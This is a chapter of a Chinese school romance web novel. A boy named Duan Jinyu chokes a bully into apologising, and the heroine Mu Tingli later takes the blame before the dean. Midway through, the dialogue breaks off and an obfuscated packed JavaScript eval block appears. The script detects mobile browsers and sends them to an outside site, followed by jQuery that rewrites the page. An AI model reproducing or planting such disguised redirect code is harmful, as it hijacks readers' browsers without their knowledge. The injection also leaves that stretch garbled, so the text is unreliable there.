崔强一下子就怂了,但周围这么多人看着,他依旧死鸭子嘴硬:“你算老几啊?你叫老子捡就捡?”
段靳屿上前揪住他的衣领,笑了:“要我重复遍?还是说,你更想死?”
巨大的阴影笼罩了过来,崔强被少年强大的压迫感吓得两腿打颤,差点站不稳。
崔强同行的男生鼓起勇气,努力掰着他的手指:“学弟啊,咱们有话好好说,你先松手!”
结果他掰了半天,愣是纹丝未动。
反而被段靳屿的气场吓得瑟瑟发抖,退到一旁。
见崔强还是不作声,段靳屿失了耐心,一把扯住他的衣领,轻松提到穆听梨的跟前。
“要怎么做。”段靳屿模样很嚣张:“用我教你么?”
掐在崔强脖颈的手指愈发用力,他呼吸不畅,整张脸渐渐涨成了猪肝色。
而段靳屿的嘴角虽挂着笑意,却偏偏让人感到一股极深的寒冷。
窒息感越来越强烈,崔强立刻低下头,竭尽全力憋出一句话:“……对、对不起,我、我捡就是了。”
话落,段靳屿把抓着他的衣领松开。
崔强重获自由后,顾不得喘气,第一时间弯腰捡起地上的练习册交给穆听梨。
捡完后,他迫不及待地想要下楼。
见状,穆听梨用腿挡住他的去路,声音虽轻却有力:“刚才你故意绊倒我们班长,你还没向她道歉。”
崔强咬了咬牙,眼里闪过一丝愤懑。
段靳屿站到穆听梨身旁:“她说的你没听见?”
崔强循着声望去。
段靳屿扬着下巴,依次碾了下指骨骨节,那张脸嚣张、不可一世又牛逼哄哄。
与少女并排站在一起。
崔强这一刻觉得。
他们两个更像流氓。
不过刚刚濒临死亡的那一刻给他带来强烈的心理阴影。
他毫不怀疑,若是不低头,段靳屿会毫不犹豫地勒死他。
虽然不想认输,但命更要紧。
所谓留得青山在,不怕没柴烧。
崔强扭头看向许冉,心不甘情不愿地跟她道歉:“对不起。”
许冉连忙摆摆手:“没关系没关系。”
这话刚落,上课铃声便响了起来。
原本还在看戏的学生一窝蜂地跑回教室,崔强也带着小弟灰溜溜地离开,咬牙却想着这事肯定跟他没完!
穆听梨抱着一大摞练习册,酝酿了会儿,才说:“你以后吓唬人的时候,手上稍微用点力就好,不然会显得戏太假。”
段靳屿:“?”
一个玩味的眼神向她投来,狭长的眼尾微微上扬。
他有点儿想笑:“你以为我只是在吓唬他?”
穆听梨反问:“难道不是么?”
在她看来,段靳屿就是只纸老虎。
做不出伤人性命的事儿。
她也不明白学校里怎么会有那么多人怕他。
“嗯,我确实在吓唬他。”段靳屿咬字重了些,悠悠道:“其实我很弱的。”
“……”
若是此刻闻濯在场,肯定要双手给他竖起大拇指。
牛逼!
大佬真会睁眼说瞎话!
安静了片刻,穆听梨真诚地向他道谢:“不管怎么说,谢谢你刚才帮我解围。”
等了会儿,见段靳屿没回应,她也不再耽误时间,抬脚往上走。
手中的重量忽地轻了些,穆听梨微怔,抬眸。
少年捧着大沓书册,低下头,恰好与她的视线对上。
段靳屿喊了声:“学姐。”
穆听梨:“嗯?”
“帮了你。”段靳屿侧着头笑望着她,声音懒洋洋的:“难不成就只有一句谢谢?”
穆听梨没懂他这话:“什么?”
段靳屿挑明:“送我个谢礼吧。”
穆听梨愣了一瞬,目光下移,扫到了他的那双球鞋。她心里咯噔一声,万一他索要很贵的礼物怎么办。
“……你想要什么?”
段靳屿轻笑一声,漫不经心地丢下三个字:“自己想。”
“……”
*
高三生活枯燥乏味,有点风吹草动都可以被津津乐道许久。
很快,楼梯事件在年级里传开,最后演变成五花八门的版本,有人说两个男生为爱打架,也有人说是女生脚踏两条船……
穆听梨以前深受过流言纷扰,深知有些事情不仅解释不清,反而越描越黑。
她干脆选择闭麦,两耳不闻窗外事。
不过这几日令她烦恼的事还是有一件。
——段靳屿之前提的“谢礼”,她至今还没有任何头绪。
以她的经济状况,实在送不出能够拿的出手的礼物。好在段靳屿那天只是提了一嘴,倒也没真的上门找她要。
要不干脆算了?
穆听梨愁眉苦脸地想着。
颜渺瞅了瞅她,见她一脸纠结的模样,关心问:“怎么了?是有什么烦恼吗?”
“我在想。”穆听梨皱着眉,慢腾腾地说道:“送给段靳屿什么礼物比较合适。”
“!!!卧槽!”颜渺瞬间就炸了:“你、你和段靳屿什么关系?为什么要送他礼物?”
她过大的音量引得四周不少人看了过来,穆听梨赶紧捂住她的嘴:“你这么激动做什么?”
“先别说这个。”颜渺催促说:“立刻说出你们的故事?!”
穆听梨根本没想太多,老实回答:“就那天班长抱着练习册上楼,隔壁体育生故意将她绊倒。我看不过去,上前找他说理。那人出手想打我来着,是段靳屿路过帮了我。”
“哇哦!”颜渺睫毛飞快地眨动,嗅到了八卦的气息:“据我所知,段靳屿可没有日行一善的习惯哦,上次不仅给你指路,还出手救了你!”
穆听梨逐渐察觉她语气的不对,开始思考着自己刚刚的话是不是哪里说错了。
然而她什么都想不到,便干脆问道:“所以呢?”
“什么所以?”颜渺惊讶于她的迟钝,转而问:“那什么,你是怎么会想到给段靳屿送礼物?”
穆听梨诚实说:“当然是他主动向我要的啊。”
“……啊?”
颜渺还以为她主动送礼物给男生。
是开窍了呢。
“那我再问你,段靳屿出手帮你的时候,你的心脏有没有扑通扑通跳?”
穆听梨点头:“有啊。”
颜渺也不知道为什么,竟然放心地松口气。
“他问我要礼物的那刻,我心脏确实跳得厉害。”穆听梨趴在桌上叹气:“早知道会这样,还不如让男生打我一巴掌好了,反正我没钱。”
“……”
这孩子没救了。
颜渺揉了揉她脑袋,立马给她支了个招儿:“听说段靳屿今晚会来学校打球,到时你买瓶汽水送他好了。”
这个主意听起来很不错。
穆听梨唯一担心的点就是——
这么寒碜的礼物,段靳屿会不会收?
放学后,穆听梨纠结了半天,最后还是去小卖部买了瓶可乐。
前往操场的路上,她忽然听到前面几个女生的讨论声:
“听说下午段靳屿和崔强在操场上打了起来,现在两人通通被教导主任叫到了办公室。”
“教导主任这次发了好大的火,段靳屿绝对少不了处分。”
穆听梨呼吸急促,胸口剧烈起伏,万分不安。
“不是,段靳屿怎么会和高年级的结仇?那件事以后,他不是懒得再搭理这些人么?”
“听说是为了个女生哎!?”
“真的假的?谁啊谁啊,我实在想象不到段靳屿竟会为了个女生打架!”
“好像是高三一班的穆听梨。”
“竟扯吧!她不是个书呆子么,你消息到底准不准啊?
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15939604|177297||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
穆听梨怔在原地。
脑海里反复盘旋着只有一句话,段靳屿和崔强打架,马上要受到处分了?
而一切的始作俑者。
却是她引起的。
后面的话穆听梨再也没心情听下去。
她转过身,跑得飞快。
……
教务处与B栋教学楼相连,穆听梨刚过走廊转角,就听到办公室里传来拔高的吼声:
“段靳屿!你现在是越来越过分了,如今还敢出去掐同学脖子!要是闹出人命怎么办?”
“成天就知道打架闹事,你还有没有点学生的样子?不想学就滚!”
段靳屿的声音传出来,冷漠里带了些散漫,完全不在乎:“要处分就处分。”
“你真以为我不敢开除你么?”
“随便。”
教导主任脸色陡然变了,正当他大发雷霆时,门突然被人一把拉开。
听到动静,段靳屿朝门那边望了过去,瞳眸微缩。
少女神色着急,脸颊因为奔跑而红透,飘落的发丝有一搭没一搭地垂在颈侧。
穆听梨扫了一圈,呆住。
小小的办公室里挤满了人,不仅有段靳屿和教导主任,还有好几位老师和崔强等人。
而且她从小到大成绩都很好,老师们对她向来和颜悦色。此刻,老师们各个脸色严肃不说,看她的目光也像是在审视犯人。
穆听梨第一次遇到面对这样的情景,手指不由地攥紧。
教导主任皱眉问:“穆同学,你来做什么?”
穆听梨悄然地吐了口气。
她不着痕迹地站到段靳屿跟前,腰板挺得笔直,声音温柔且坚定:“老师,我想和您解释下前两天发生的事情。”
闻言,段靳屿意外地挑了挑眉。
老师们也都互相看了看,一开始他们收到通知,还以为又是那几个刺头学生闹事。
他们这次打算杀鸡儆猴,绝不再姑息。
却没想到事情似乎另有内情。
崔强瞪着穆听梨,立刻恶人先告状:“老师,当日段靳屿掐我脖子,还让我去死,很多同学都可以证明!而且今日也是他先找我的麻烦!”
穆听梨脸色冷然:“难道当日不是你先故意找事的?”
崔强还在狡辩:“我都说了我那是不小心撞倒的人,你们两个明显在没事找事!”
穆听梨不再和他废话,和教导主任解释了前几天楼梯事件的前因后果。
教导主任根本不信她的说辞:“是不是段靳屿威胁你这么说的?”
“老师,没有人能威胁我。”穆听梨斩钉截铁地说:“我向您保证,刚刚说的都是实话。”
“你确定吗?”教导主任语气咄咄逼人:“学校同意你免费复读,也是十分看中你。若是让老师们发现你在撒谎,你该知道后果!”
他把事情讲得非常严重,但穆听梨面色仍不畏惧。
“我确定。”她沉着声说:“此事因我而起,当天段靳屿掐人是我主使的。我是主犯,他最多算个从犯,所以就算要处分,也应该先处分我,而不是他。”
办公室静悄悄的,没有一点声音透出来。
老师各个都露出震惊之色,半天嘴巴合不拢。
一位年纪较大的老师说:“同学你……饭可以乱吃,话可不能乱说!”
穆听梨抿唇:“我没乱说。”
老师们:“……”
这几个字不亚于一颗炸弹投下来,震得所有老师五雷轰顶。
段靳屿插着兜,低头看她。
穆听梨面色平静淡定,声音也察觉不到任何端倪,可她的手指紧紧攥着两侧衣服,带出一片褶皱。
她明显是在害怕。
段靳屿又意识到一点。
尽管她害怕,可她还是站到了他的面前。
明明那么瘦弱的身躯,却总想着保护别人。
就和那天一样。